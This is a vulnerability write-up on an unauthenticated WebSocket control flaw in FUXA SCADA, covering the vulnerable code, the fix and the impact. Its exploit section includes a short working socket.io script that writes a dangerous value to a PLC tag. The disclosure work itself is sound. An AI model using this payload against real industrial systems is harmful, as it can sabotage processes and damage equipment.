Ghost in the Machine: Unauthenticated Control in FUXA SCADA
Feb 5, 2026·6 min read·0 visits
Executive Summary (TL;DR)
FUXA failed to verify authorization on critical WebSocket events. Anyone who can reach the server port can send a JSON payload to modify device states (e.g., turn off a pump, change a temperature setpoint) or disable device drivers. No credentials required.
A critical authorization bypass in FUXA, an open-source web-based SCADA/HMI/Dashboard solution, allows unauthenticated remote attackers to hijack industrial control processes. By leveraging improperly secured WebSocket event handlers, an attacker can write arbitrary values to device tags or disable communication drivers entirely without ever logging in. In the context of Industrial Control Systems (ICS), this translates to the potential for physical damage, operational downtime, or unsafe equipment states, all executable from a simple WebSocket connection.
The Hook: SCADA for the Masses (and the Masses for SCADA)
FUXA is a modern, web-based SCADA (Supervisory Control and Data Acquisition) and HMI (Human-Machine Interface) solution. It’s designed to make industrial automation accessible, visualizing data from PLCs (Programmable Logic Controllers), Modbus devices, and OPC UA servers directly in a web browser. It’s sleek, it’s built on Node.js, and it’s open-source. It’s essentially the bridge between the messy, high-voltage world of industrial hardware and the clean, clicky world of web dashboards.
But here is the problem with bridging those two worlds: Web developers often treat WebSockets like trusted pipelines. The assumption is usually, "If they connected, they must be cool." In the high-stakes environment of ICS, where a variable change doesn't just update a database row but potentially spins a centrifuge up to 10,000 RPM, that assumption isn't just dangerous—it's negligent. This vulnerability isn't a complex memory corruption exploit; it's a fundamental logic error in how the application handles the "state" of a user. It’s the digital equivalent of checking someone’s ID at the front gate of a chemical plant, but then leaving the control room door unlocked and unmanned.
The Flaw: The WebSocket Blind Spot
The vulnerability resides in the server/runtime/index.js file, specifically within the WebSocket event loop. FUXA uses socket.io to handle real-time communication between the client (the browser dashboard) and the server (the runtime engine talking to the hardware). When a client connects, there is a handshake. There is even a JWT verification step to see if the user is a guest or an admin.
However, in the vulnerable versions, this authentication state was treated like a "nice to have" rather than a mandatory gatekeeper for critical actions. The application defined listeners for specific events, most notably DEVICE_VALUES and DEVICE_ENABLE. The DEVICE_VALUES handler allows the client to set a value on a tag. The DEVICE_ENABLE handler allows a client to turn a communication driver on or off.
Here is the kicker: Inside these event handlers, there was zero code to check if the socket sending the command actually belonged to an authorized user. The server would happily accept a set command from a socket that had just connected anonymously or as a read-only guest. It’s a classic Broken Access Control (CWE-285) issue, specifically tailored for the event-driven nature of WebSockets. The server checked the lock on the front door (login page) but left the window (WebSocket frames) wide open.
The Code: The Smoking Gun
Let's look at the code before the fix. It’s painfully simple, which makes it all the more terrifying. In server/runtime/index.js, the code listened for the DEVICE_VALUES event and immediately processed it.
Vulnerable Code (Before):
socket.on(Events.IoEventTypes.DEVICE_VALUES, (message) => {
if (message.cmd === 'set' && message.var) {
// Look ma, no hands! No auth checks!
devices.setDeviceValue(message.var.source, message.var.id, message.var.value, message.fnc);
}
});See that? If the message command is set, it calls devices.setDeviceValue. It doesn't care who socket belongs to. It just does what it's told.
The Fix (Commit eb2d8a20964ce7acaa0f442a181390a5f726a1ae):
The maintainer, unocelli, introduced a helper function isSocketWriteAuthorized(socket) that explicitly checks if the socket is authenticated and not a guest. They then wrapped the critical logic in this check.
// The new bouncer at the door
function isSocketWriteAuthorized(socket) {
if (!settings.secureEnabled) return true;
return socket.isAuthenticated;
}
// Inside the socket connection logic
socket.on(Events.IoEventTypes.DEVICE_VALUES, (message) => {
if (message.cmd === 'set' && message.var) {
// The new check
if (!isSocketWriteAuthorized(socket)) {
logger.warn(`${Events.IoEventTypes.DEVICE_VALUES}: unauthorized write attempt...`);
return;
}
devices.setDeviceValue(message.var.source, message.var.id, message.var.value, message.fnc);
}
});The fix is elegant and simple: stop assuming. If the user isn't authorized, log a warning and drop the packet. This patch also fixed DEVICE_ENABLE in the exact same way.
The Exploit: Taking Control
Exploiting this does not require complex tooling. You don't need Metasploit. You don't need to overflow a buffer. You just need a WebSocket client. A browser console or a simple Python script using the websocket-client library is sufficient.
The Attack Chain:
- Recon: Identify a FUXA instance. The default port is usually 1881.
- Connect: Open a standard WebSocket connection to
ws://target:1881/socket.io/?EIO=3&transport=websocket. - Payload: Construct a JSON packet mimicking the
DEVICE_VALUESevent. We don't need a token. We don't need to login.
Proof of Concept (Conceptual):
// Connect to the vulnerable server
const socket = io('http://vulnerable-fuxa-server:1881');
socket.on('connect', () => {
console.log('Connected! preparing payload...');
// Construct the malicious packet
// cmd: 'set' triggers the write
// var: defines the target device tag
const payload = {
cmd: 'set',
var: {
source: 'Siemens_PLC_1', // The device name
id: 'DB1.TEMP_OVERRIDE', // The tag ID
value: 9999 // The dangerous value
}
};
// Send it down the pipe
socket.emit('DEVICE_VALUES', payload);
console.log('Payload sent. Check the blast radius.');
});If the server is running a vulnerable version, it will immediately pass 9999 to Siemens_PLC_1. If that tag controls a furnace temperature setpoint or a pressure valve release threshold, the physical consequences happen immediately.
The Impact: Why This Matters
In a typical web app, an IDOR or broken access control might lead to data leakage or defacement. In the world of SCADA and ICS, the impact is kinetic. FUXA is used to control real hardware—relays, motors, sensors, and PLCs.
An attacker exploiting this vulnerability has three main paths of destruction:
- Operational Disruption: By sending
DEVICE_ENABLEwithenable: false, an attacker can deafen the HMI. The dashboard stops updating, alarms stop firing, and operators are flying blind. This is a Denial of View attack. - Process Sabotage: Writing arbitrary values to tags allows an attacker to alter the manufacturing process. They could change chemical mix ratios, speed up conveyor belts to unsafe velocities, or disable safety interlocks.
- Equipment Damage: Rapidly toggling a relay (chattering) or setting parameters outside of operational limits can physically destroy hardware.
This vulnerability bridges the gap between "IT Security" and "OT Safety" in the worst possible way. It allows a script kiddie with a WebSocket client to influence physical reality.
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | < Commit eb2d8a20 | Commit eb2d8a20 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-285 |
| Attack Vector | Network (WebSocket) |
| CVSS (Estimated) | 9.8 (Critical) |
| Impact | Integrity, Availability |
| Authentication | None Required |
| Exploit Status | Trivial |
MITRE ATT&CK Mapping
Improper Authorization
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.